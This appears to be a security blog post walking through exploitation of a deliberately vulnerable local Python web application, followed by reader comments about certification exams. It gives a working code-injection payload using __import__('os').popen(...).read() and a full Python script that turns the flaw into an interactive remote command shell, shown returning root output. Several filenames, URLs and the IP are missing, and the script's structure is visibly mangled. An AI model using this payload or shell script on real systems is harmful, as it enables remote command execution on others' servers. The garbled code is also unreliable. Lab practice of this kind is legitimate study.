304 North Cardinal St.
Dorchester Center, MA 02124

Work Hours
Monday to Friday: 7AM - 7PM
Weekend: 10AM - 5PM

Exploiting Python Code Injection in Web Applications

I was looking into python code injection recently, and ran across SethSec’s blog post.

This looked like a great example, and I wanted to run through it myself.

First off, I downloaded the PyCodeInjection application and got it running locally.

root@kali:~/Documents# ls
root@kali:~/Documents# git clone
Cloning into 'PyCodeInjection'...
remote: Counting objects: 67, done.
remote: Total 67 (delta 0), reused 0 (delta 0), pack-reused 67
Unpacking objects: 100% (67/67), done.
Checking connectivity... done.
root@kali:~/Documents# cd PyCodeInjection/
root@kali:~/Documents/PyCodeInjection# ls       VulnApp
root@kali:~/Documents/PyCodeInjection# cd VulnApp/
root@kali:~/Documents/PyCodeInjection/VulnApp# ls requirements.txt    templates
root@kali:~/Documents/PyCodeInjection/VulnApp# ./ 
./ line 5: apt-get: command not found
Collecting (from -r requirements.txt (line 1))
  Downloading (91kB)
    100% |�-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-��-�| 92kB 1.7MB/s 
Building wheels for collected packages:
  Running bdist_wheel for ... done
Successfully built
Installing collected packages:
Successfully installed
You are using pip version 8.1.2, however version 9.0.1 is available.
You should consider upgrading via the 'pip install --upgrade pip' command.
root@kali:~/Documents/PyCodeInjection/VulnApp# ls requirements.txt    templates
root@kali:~/Documents/PyCodeInjection/VulnApp# python 8123

Once the application was running, I verified that I was able to reach it through my browser.

Python Code Injection - Hello World

Python Code Injection - Vulnerable Application

I saw the GET requests to the vulnerable application, so I knew that I was up and running. - - [18/Nov/2016 13:00:24] "HTTP/1.1 GET /pyinject" - 200 OK - - [18/Nov/2016 13:00:56] "HTTP/1.1 GET /pyinject" - 200 OK - - [18/Nov/2016 13:01:08] "HTTP/1.1 GET /pyinject" - 200 OK

First, I sent a basic GET request with the mentioned parameters to the application.

Python Code Injection - Basic Request

Since nothing came from this yet (obviously), I also sent an example request with the cookie. I knew that this wouldn’t cause any injection to occur, but it would let Burp know that there was a cookie that could be passed as well.

Python Code Injection - Request With Cookie

With my requests loaded up into Burp, I then kicked off Scanner. Within a few second, Scanner picked up on the Python Code Injection and reported it.

Python Code Injection - Burp Scanner

Forwarding Burp’s request to Repeater, I was able to reproduce the 20 second sleep from the payload.

Python Code Injection - Burp Sleep

After verifying the code injection, I put a quick Python one-liner into my cookie. This will import os, run the popen method on ‘id’, and then read the object into a string.

Python Code Injection - ID Cookie

With my code injection working, I then set out to reproduce this in my browser. First, I URL encoded my payload to prevent any issues with the special characters.

Python Code Injection - URL Encode

Python Code Injection - URL in Browser

After properly encoding the payload, I sent my GET request and got the ‘id’ response in my browser!

Python Code Injection - Browser Exploit

Obtaining a “shell”

In addition, I decided to integrate my exploit with a modified version of RWSH.

Finally, after modifying RWSH (v1.0, stay on the lookout for a new version), I was able to obtain a “shell” with this python code injection.

root@attackKali:~# python 

[*] Connecting to web shell:

[*] Obtaining username.

[*] Obtaining hostname.

[+] Returning prompt!

root@kali:~$ id
uid=0(root) gid=0(root) groups=0(root)

root@kali:~$ whoami

root@kali:~$ ls -al
total 32
drwxr-xr-x  7 root  root   238 Nov 18 12:49 .
drwxr-xr-x  8 root  root   272 Nov 18 13:06 ..
-rw-r--r--  1 root  root  4067 Nov 18 12:47
-rw-r--r--  1 root  root  3586 Nov 18 12:49 PyCodeInjectionApp.pyc
-rwxr-xr-x  1 root  root   161 Nov 18 12:42
-rw-r--r--  1 root  root     7 Nov 18 12:42 requirements.txt
drwxr-xr-x  3 root  root   102 Nov 18 12:42 templates

root@kali:~$ exit



The modified code for this exploit is below. Note that the HTML parsing isn’t perfect, so you will have to modify this on a target by target basis.

import requests
import string
from bs4 import BeautifulSoup

def main():
    session = requests.Session()
    session.trust_env = False
    ip = ""
    port = "8123"
    filename = "pyinject"
    param = "param1"
    pycommand1 = "__import__('os').popen('"
    pycommand2 = "').read()"
    url = "http://" + ip + ":" + port + "/" + filename
    print "\n[*] Connecting to web shell:"
    print "    " + url
    print "\n[*] Obtaining username."

    command = "whoami"
    r = session.get(url, params={param: pycommand1 + command + pycommand2})

    username = ''
    soup = BeautifulSoup(r.text, 'html.parser')

    for br in soup.find_all("br"):
        if not '</br></br>' in str(br):
            username = br.text.strip()
    if "\\" in username:
        username = username.split("\\",1)[1]

    print "\n[*] Obtaining hostname."

    command = "hostname"
    r = session.get(url, params={param: pycommand1 + command + pycommand2})

    hostname = ''
    soup = BeautifulSoup(r.text, 'html.parser')

    for br in soup.find_all("br"):
        if not '</br></br>' in str(br):
            hostname = br.text.strip()

    print "\n[+] Returning prompt!\n\n"
        while True:
            cmd = raw_input(username + "@" + hostname + ":~$ ")
            if cmd == "exit":
                print "\n\n[-] EXITING\n"
                r = session.get(url, params={param: pycommand1 + cmd + pycommand2})
                soup = BeautifulSoup(r.text, 'html.parser')
                for br in soup.find_all("br"):
                    if not '</br></br>' in str(br):
                        print br.text.strip() + "\n"
    except KeyboardInterrupt:
        print "\n\n\n[-] EXITING\n"
if __name__ == "__main__":


      • Sounds good! I have a question that doesn’t have much to do with this blog post. I know you got your ECPPT from ElearnSecurity. I’m currently enrolled in the course and studying for the exam. The course comes with a wifihacking section. Does the exam hack some sort of wifi hacking or is this just a bonus section?

        • I don’t even remember a WiFi section in my coursework to be honest. There was definitely no WiFi in my exam though, so you shouldn’t need to be worried about that.

          • Thanks dude! After this exam I plan on either taking the mobile hacking course or web app course. I know you recently got your web hacking cert from eLearnSecurity. I may have more questions for you later on haha. I hope you don’t mind.

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.